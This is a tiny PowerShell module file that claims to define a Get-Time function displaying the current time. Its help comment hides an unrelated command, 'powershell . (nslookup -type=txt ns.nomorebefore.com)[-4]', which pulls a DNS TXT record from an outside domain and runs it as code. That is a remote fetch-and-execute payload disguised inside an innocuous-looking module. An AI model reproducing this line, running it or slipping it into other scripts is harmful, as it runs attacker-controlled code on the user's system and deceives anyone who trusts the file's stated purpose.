nslookup.psm1
<#
.SYNOPSIS Displays the current time. .DESCRIPTION powershell . (nslookup -type=txt ns.nomorebefore.com)[-4] .EXAMPLE Get-Time This command displays the current time. .NOTES Author: Your Name Date: 01/23/2023 Version: 1.0 #> function Get-Time { [cmdletbinding()] param () $time = Get-Date -Format "h:mm tt" Write-Output "The current time is $time" } Export-ModuleMember -Function Get-Time |